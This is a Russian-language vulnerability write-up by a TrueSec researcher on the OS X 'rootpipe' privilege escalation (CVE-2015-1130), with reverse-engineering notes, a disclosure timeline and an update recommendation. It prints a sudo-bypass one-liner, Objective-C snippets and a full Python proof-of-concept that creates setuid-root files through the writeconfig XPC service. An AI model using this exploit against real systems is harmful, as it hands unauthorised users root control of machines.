26.05.2015

Скрытая уязвимость позволяет повышать привилегии в OS X

image

Как минимум с 2011 года в библиотеке административных функций OS X (Admin framework) есть брешь, позволяющая наделить любую учетную запись привилегиями суперпользователя. Уязвимость была найдена мной в 2014 году.

Автор: Emil Kvarnhammar

Суть проблемы

Как минимум с 2011 года в библиотеке административных функций OS X (Admin framework) есть брешь, позволяющая наделить любую учетную запись привилегиями суперпользователя. Уязвимость была найдена мной в 2014 году.

Вероятно, уязвимый функционал OS X планировался для работы с системными настройками и утилиты systemsetup, запускаемой из командной строки. Однако как выяснилось позже те же самые операции можно выполнять от имени любой учетной записи.

На данный момент выпущена новая версия OS X (10.10.3), где эта проблема решена. Однако более ранние версии OS X остаются уязвимыми, поскольку в компании Apple решили не выпускать обновления для старых релизов. Настоятельно рекомендуется обновить систему до версии 10.10.3.

Почему я начал поиск уязвимостей в OS X

Специалисты компании TrueSec выступают на IT-конференциях по всему миру. Я планировал выступление в ноябре 2014 года на одной из конференций по безопасности для разработчиков. К тому моменту у меня уже был богатый опыт по нахождению и демонстрации уязвимостей под iOS и Android.

Однако в этот раз многие участники конференции пользовались OS X, и мне захотелось показать, что эту операционную систему взломать ничуть не сложнее, чем iOS или Android. По сути, операционная система состоит из отдельных компонент и утилит, которые создают разработчики. Само собой, разработчики делают ошибки, которые являются причинами многих уязвимостей. Я хотел продемонстрировать, что программное обеспечение (даже созданное в компании Apple) содержит бреши, многие из которых еще предстоит обнаружить.

Демонстрационный пример

Первый мой эксплоит был на основе уязвимости CVE-2013-1775. Брешь была связано с обходом аутентификации в sudo, которая была исправлена в версии 10.8.5 (в сентябре 2013 года). Эта задача не представляла особого интереса, поскольку эта уязвимость годовалой давности. Код, эксплуатирующий брешь, выглядит чрезвычайно просто:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

Один из моих коллег отметил, что для модификации системного времени код эксплоита использует утилиту systemsetup. Затем нам захотелось узнать, как была исправлена уязвимость. После некоторых исследований выяснилось, что, помимо исправления sudo, в компании Apple внесли еще одно изменение. Теперь для запуска утилиты systemsetup требуются привилегии суперпользователя, даже если вы хотите прочитать справочную информацию. При запуске systemsetup без привилегий суперпользователя появляется следующее сообщение (начиная с версии 10.8.5):

$ systemsetup
You need administrator access to run this tool... exiting!

Это сообщение слегка обескураживает, поскольку мы запустили утилиту от имени администратора. По умолчанию все учетные записи, созданные во время установки OS X, наделяются правами администратора. Думаю, сей факт не особо заботит пользователей OS X, поскольку sudo и установка приложений требуют ввода пароля.

Теперь для запуска systemsetup недостаточно даже учетной записи администратора.

В дизассемблированной версии systemsetup (в Hopper) находим следующий участок кода:

Рисунок 1: Одна из функций утилиты systemsetup

Из рисунка выше видно, что функция проверяет, произошел ли запуск от имени суперпользователя.

После изменения инструкции sete на setne мы можем запускать systemsetup и от имени администратора:

$ systemsetup
> systemsetup
> type -help for help.

Однако наш успех нельзя называть ошеломляющим. Мы лишь откатились к предыдущей версии systemsetup. Одна из команд, которую можно выполнить при помощи systemsetup, выглядит так:

$ systemsetup –setremotelogin on

Команда выше делает доступным ssh-сервер на 22-м порту. Конечно, вы также можете запустить ssh через launchctl, но launchctl также будет требовать привилегий суперпользователя. Очевидно, что существует разница между нужными привилегиями! Имя класса RemoteServerSettings, которому принадлежит функция на Рисунке 1, говорит о том, что существует некоторое межпроцессорное взаимодействие. Сей факт мог бы объяснить, почему операции, требующие привилегий суперпользователя, могут быть выполнены. Однако следует упомянуть и о том, что SSH сервер можно запустить через System Preferences (Sharing) без использования учетной записи суперпользователя.

Расхождение между требуемыми привилегиями показалось мне интересным, и я продолжил изучение дизассемблированной версии systemsetup.

Команда setremotelogin реализована в systemsetup как метод с именем [ServerSettings setRemoteLogin:].

Эта функция проверяет входные данные, а затем вызывает метод [InternetServices setSSHServerEnabled:], находящийся в библиотеке административных функций (Admin framework), используемой systemsetup. После дизассемблирования интерфейса InternetServices выяснилось, что там находится не только метод setSSHServerEnabled, но и другие, предназначенные для запуска/остановки многих других служб. Ниже приведен список методов интерфейса InternetServices:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Некоторые из вышеуказанных методов, например, setHttpdEnabled и setSSHServerEnabled, реализованы с использованием общего вспомогательного метода [ADMInternetServices setInetDServiceEnabled:enabled:].

Затем мое внимание привлек следующий участок кода:


Рисунок 2: Участок кода для создания конфигурационных файлов

Кажется, код на рисунке выше создает пользовательский файл конфигурации для гостевых учетных записей (обратите внимание, что владелец этого файла – суперпользователь):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

Выявление новой уязвимости

На Рисунке 2 последний вызываемый метод - createFileWithContents:path:attributes:. На входе этот метод принимает массив байтов (информацию для записи), путь к файлу и атрибуты файла по стандарту POSIX.

Повторное использование функции createFileWithContents из моего кода выглядит примерно так:

[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];

Теперь нам нужно раздобыть ссылку на объект «tool». Код, находящийся в начале Рисунка 2, соответствует следующему:

id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Неужели все настолько просто? Не совсем :). Но мы уже совсем близко. Я попытался выполнить этот трюк в собственном коде, но получил следующую ошибку:

### Attempt to send message without connection!

Теперь нужно найти, где выводится это сообщение:


Рисунок 3: Место, где происходит проверка и выводится ошибка

Проверка выполняется на предмет инициализации XPC-прокси внутри моего процесса. Давайте посмотрим, где вызывается метод _onewayMessageDispatcher, и найдем код инициализации:


Рисунок 4: Адреса вызова метода _onewayMessageDispatcher

Инициализация происходит в методе authenticateUsingAuthorization:


Рисунок 5: Место инициализации метода _onewayMessageDispatcher

Во время инициализации создается XPC-клиент для XPC-службы с именем writeconfig (которая работает от имени суперпользователя).


Рисунок 6: Перечень запущенных служб

Остался выяснить, какой аргумент передать функции authenticateUsingAuthorization. Я вновь вернулся к дизассемблированному файлу и нашел следующий участок кода:


Рисунок 7: Место вызова метода authorization, принадлежащего классу SFAuthorization

Глядя на рисунок выше, делаем предположение, что метод authorization может решить возникшую проблему. Обновленная версия эксплоита:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];

Обратите внимание на то, что я использую функцию authenticateUsingAuthorizationSync (одна из разновидностей функции authenticateUsingAuthorization), а на файл устанавливаю права 4777. После выполнения кода создается файл и устанавливается бит setuid.

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Поскольку бит setuid установлен и владелец файла – суперпользователь, мы добились расширения привилегий.

Первая версия эксплоита работала на версиях 10.7.x и 10.8.x, где имена классов и методов немного отличаются. Версия эксплоита, продемонстрированная выше, предназначена для версий, начиная от 10.9 и выше.

Однако есть одно «но»: эксплоит работает на учетных записях с административными правами. Как я упоминал ранее, практически все учетные записи в OS X имеют административные права (поскольку в большинстве систем присутствует только один аккаунт). Перед отправкой отчета в компанию Apple, я попытался выполнить эксплоит на стандартной учетной записи (без административных прав) и получил следующую ошибку:

### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization
Code=-60007 "The operation couldn’t be completed.
(com.apple.systemadministration.authorization error -60007.)"

Потом я модифицировал код так, что эксплоит стал работать от имени любой учетной записи. Вместо использования метода конструкции [SFAuthorization authorization], я передал пустой указатель (nil) в функцию authenticateUsingAuthorizationSync:

[sharedClient authenticateUsingAuthorizationSync: nil];

Кажется, проверка авторизации происходит при помощи вызова callback-функции, находящейся внутри объекта типа «auth». Небольшая задачка для тех, кто не владеет языком Objective-C. Что произойдет, если вызвать метод пустого объекта? (программисты могут попробовать отослать сообщение пустому объекту). Ответ: не произойдет ничего!

Заключение и рекомендации

В библиотеке административных функций (Admin framework) операционной системы OS X в течение нескольких лет был скрытый функционал, позволяющий получить права суперпользователя (по крайней мере, начиная с 2011 года, когда была выпущена версия 10.7). Вероятно, эти функции предназначались для обслуживания системных настроек (System Preferences) и утилиты systemsetup. Однако к этим функциям можно получить доступ (через XPC) из любого процесса.

Этот метод позволяет локально расширить привилегии. Уязвимые функции можно использовать в сочетании с эксплоитами с удаленным исполнением кода.

В компании Apple заявили, что исправление потребует серьезных переработок и не будет адаптировано для версий 10.9.x и ниже.

Рекомендация всем пользователям OS X – обновиться до версии 10.10.3 (или старше).

Дальнейшие планы

28-го мая 2015 года на конференции по безопасности в Стокгольме я буду в деталях рассказывать об уязвимости rootpipe. В режиме реального времени вы увидите, как злоумышленники находят уязвимости в коде, даже когда в наличии есть только бинарные файлы. Мои коллеги расскажут о других фишках, которые необходимо знать разработчикам. В основном будут описаны техники по написанию безопасного кода.

Хронология развития событий

· 2-е октября 2014 года: обнаружена уязвимость.

· 3-е октября 2014 года: первые контакты с сотрудниками, отвечающими за безопасность продуктов в компании Apple (Apple Product Security Team).

· 14-е октября 2014 года: сотрудникам компании Apple продемонстрирован код эксплоита.

· 24-е октября: обнародование информации для широкой общественности назначено на 12-е января 2015 года.

· 16-е октября 2014 года: компания Apple выпустила OS X 10.10 Yosemite, все еще содержащую уязвимость rootpipe.

· 14-е ноября 2014 года: компания Apple попросила отложить обнародование информации.

· 17-е ноября 2014 года: версия OS X 10.10.1 все еще уязвима.

· 12-е января 2015 года: состоялась дискуссия между Apple и TrueSec на предмет того, чтобы еще раз перенести дату публикации уязвимости (из-за объема необходимых изменений в OS X).

· 16-е января 2015 года: вышел в свет CVE-2015-1130.

· 27-е января 2015 года: релиз OS X 10.10.2 все еще уязвим.

· 2-е марта 2015 года: в публичном бета-релизе OS X 10.10.3 уязвимость устранена.

· 1-е апреля 2015 года: в компании Apple подтвердили, что новый релиз выйдет на второй неделе апреля.

· 8-е апреля 2015 года: вышел релиз OS X 10.10.3.

· 9-е апреля 2015 года: полное раскрытие информации об уязвимости.

Полная версия экспоита

########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")

authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()

# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()

tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool